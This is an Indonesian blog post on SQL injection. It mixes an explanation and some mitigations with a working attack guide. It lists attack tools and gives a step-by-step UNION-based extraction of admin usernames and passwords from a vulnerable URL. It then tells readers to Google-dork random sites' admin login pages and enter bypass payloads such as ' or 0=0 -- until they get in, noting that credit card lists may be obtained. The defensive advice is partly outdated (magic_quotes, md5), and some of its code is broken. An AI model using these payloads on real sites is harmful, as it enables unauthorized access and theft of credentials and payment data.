SQL Injection, Tools Dan Cara Atasinya

Structured Query Language (SQL) banyak dipakai untuk melakukan query, mengoperasikan, dan mengelola sistem database seperti SQL server, Oracle, atau MySQL dan penggunaanya konsistem dan  umum pada sistem databatase, akan tetapi  ada detail perbedaan tertentu yang khusus untuk setiap sistem.


SQL Injection merupakan salah satu teknik memanfaatkan celah keamanan yang ada di SQL pada lapisan basis data suatu aplikasi. Celah ini terjadi karena input dari user tidak difilter secara benar dan dalam pembuatannya menggunakan form yang salah.

Apa sih SQL Injection dan bagaimana cara mengatasinya?

Seperti disebutkan diatas tadi, SQL Injection merupakan salah satu teknik yang menyalahgunakan celah keamanan yang ada di SQL pada lapisan basis data suatu aplikasi. Celah ini terjadi karena input dari user tidak difilter secara benar dan dalam pembuatannya menggunakan form yang salah. Dimana sampai saat ini SQL Injection masih menjadi favorit hacker untuk melakukan serangan pada sebuah  website.

Cara untuk menembus sebuah website, Contoh yang paling  mudah dari teknik SQL Injection yaitu melalui form username harusnya username diisi dengan karakter saja, tetapi form tersebut bisa diisi dengan karakter lain, jadi disinilah seorang hacker bisa menyisipkan karakter seperti (:;-,=’) sehingga hacker bisa memasukan query SQL Injection, nah kondisi ini boleh dibilang berakbat website tersebut sudah bisa ditembus oleh hacker.


Tujuan SQL Injection

SQL Injection yang dilakukan, biasanya memiliki tujuan tertentu,Berikut ini beberapa tujuan SQL Injection yang banyak ditemui:

Bypass Otentikasi

Jika berhasil masuk kedalam sistem, hacker akan mudah melakukan bypass tanpa perlu menggunakan username dan password yang benar untuk bisa mendapatkan akses. Cukup dengan memasukan script SQL Injection pada form yang masih terbuka.

SELECT accounts FROM users 
                               WHERElogin=’’ or 1=1 --
                               AND pass=’’ AND pin=

Pencurian Informasi
Hacker memungkinkan untuk mengambil semua informasi yang ada pada website terutama informasi yang bersifat sensitif seperti username dan password.

Delete Data

SQL Injection memungkinkan untuk hacker menghapus semua data yang tersimpan di database, jika sudah terjadi seperti ini dan tidak ada backup database maka akan sangat berbahaya. Jadi Anda perlu melakukan backup data secara berkala untuk tujuan keamanan data.

Modify Data

Selain menghapus data, hacker dengan mudah mengubah data yang tersimpan di database sehingga menyebabkan data tidak valid. Jadi Anda perlu memiliki backup data jika sewaktu-waktu data dirubah oleh orang yang tidak bertanggung jawab.


Remote Command Execution:

Melakukan perintah eksekusi melalui database yang memungkinkan penyerang untuk melakukan compromise pada sistem operasi host atau target.

Satu dari banyak penggunaan SQL Injection melibatkan bypass pada sebuah proses autentikasi login aplikasi, umumnya form login username dan password pada memiliki konstruksi SQL Query seperti ini:

Otentikasi biasa:

SELECT count (*) FROM Users WHERE Username=’Japungcom’ AND Password= ‘lintasan’
Otentikasi yang dilakukan attacker:

SELECT count (*) FROM Users WHERE Username=’quwert’ or 1=1 — ’ AND Password= ‘xyzba’
Input yang masuk ke database seharusnya berisikan username (Japung) dan password (lintasan). Input yang dimasukkan attacker “quwert” di form email tidaklah penting karena setelah itu ada tanda “or 1=1 — “ dimana artinya setiap input akan selalu dianggap true, karena 1=1 adalah alias dari true dan or adalah kondisi dimana jika ada salah 1 atau lebih dari 2 atau lebih input true maka otentikasi akan dianggap true oleh sistem. dan form password pun bisa diisi sesuka hati karena dibelakang tanda “– “ itu hanya dianggap sebagai syntax comment pada SQL.

Berikut merupakan contoh source code yang memiliki celah untuk terkena SQL injection, pada bagian request.get Parameter data yang diterima SQL query dikirim langsung dari HTTP request tanpa validasi dari data tersebut (jumlah min/max karakter, jenis karakter yang diizinkan atau karakter-karakter berbahaya).

Kesalahan ini menimbulkan celah untuk menjadikan SQL sebagai payload dan mengubah fungsi statement yang ada.

String DRIVER = “com.ora.jdbc.Driver”;
String DataURL = “jdbc:db://localhost:5112/users”;
String LOGIN = “admin”;
String PASSWORD = “admin123”;
Class.forName(DRIVER);
 

//Make connection to DB
Connection connection = DriverManager.getConnection(DataURL, LOGIN, PASSWORD);
String Username = request.getParameter(“USER”); // From HTTP request
String Password = request.getParameter(“PASSWORD”); // From HTTP request
int iUserID = -1;
String sLoggedUser = “”;
String sel = “SELECT User_id, Username FROM USERS WHERE Username = ‘” +Username + “‘ AND Password = ‘” + Password + “‘”;
Statement selectStatement = connection.createStatement ();
ResultSet resultSet = selectStatement.executeQuery(sel);
if (resultSet.next()) {
    iUserID = resultSet.getInt(1);
    sLoggedUser = resultSet.getString(2);
   }
PrintWriter writer = response.getWriter ();
if (iUserID >= 0) {
   writer.println (“User logged in: ” + sLoggedUser);
   } else {
writer.println (“Access Denied!”)


Cara Mencegah SQL Injection

Untuk meminimalisir semua efek yang diakibatkan dari serangan SQL Injection, Anda bisa melakukan beberapa tindakan seperti berikut ini, yaitu:
  1. Sesuaikan input box, Jika form input box tujuannya untuk menuliskan nama, maka berikan khusus untuk karakter saja, jika untuk mengisikan nomor telepon maka isilah dengan numbering saja sehingga tindakan SQL Injection bisa dihindarkan.
  2. Batasi input box, Untuk lebih amannya dalam setiap box dibatasi jumlah karakternya, contoh saja untuk nama paling tidak diberikan 30 karakter atau disesuaikan sesuai dengan kebutuhan, sehingga jika ada percobaan SQL Injection yang masuk akan terkendala oleh jumlah  karakter yang tersedia.
  3. Filter user, Melakukan filter kepada inputan setiap user, terutama yang menggunakan karakter kutip tunggal (Validation Input) karena ini menjadi salah satu trik yang dilakukan hacker untuk SQL Injection.
  4. Mematikan error handling, Jika terjadi error, Anda perlu mematikan fitur notifikasi pesan error yang keluar dari SQL Server. Jika sampai ada, ini bisa menjadi celah bagi hacker untuk melakukan eksploitasi lebih dalam percobaan SQL Injection.
  5. Nonaktifkan fitur standart SQL, Fitur-fitur standart yang ada di SQL seperti Stored Procedures dan Extend Stored Procedures lebih baik untuk dimatikan saja, karena rawan terkena SQL Injection.
  6. Setting Privilege, Silahkan Anda rubah pada bagian ‘Stratup and run SQL Server’ dengan setting low privilege user pada menu SQL Server Security tab.
Tools SQL Injection

Whatever, jika kalian ingin mencoba dan tanggung jawab sendiri, ada banyak tools yang dipakai, nah untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut ini:

  1. BSQL Hacker, Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base
  2. The Mole, Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.
  3. Pangolin, Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.
  4. SQLMap, SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data base MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.
  5. Havij, Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.
  6. Enema SQLi, Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool otomatis, enam tool yang di namis yang memang di rancang untuk profesional.
  7. SQL Ninja, Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.
  8. SQL Sus, Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil data base, mendownload file dari data base server dan masih banya lagi
  9. Safe SQL Injector, Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL injection dan pengambilalihan database server.
  10. SQL Poizon, SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

Manual Tutorial SQL Injection

Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau –
comments: /* atau —
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x

[ Langkah 1 ]

Carilah target,
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.

contoh:
[site]/berita.php?id=100’ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Langkah 2 ]

Mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–

Langkah 3 ]

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Langkah 4 ]

Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”

[ Langkah 5 ]

untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–

[ Langkah 6 ]

Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–

[ Langkah 7 ]

Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh : [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

[ Langkah 8 ]

Tahap terakhir mencari halaman admin atau login.

Source HN Forum

SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.

Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username

Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).

4) Masukkan kode berikut :

User name : or a’=’a
Password : or a’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : or a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel


(info diatas adalah untuk pembelajaran, kerugian dan tanggung jawab ditanggung sendiri)

No comments:

Powered by Blogger.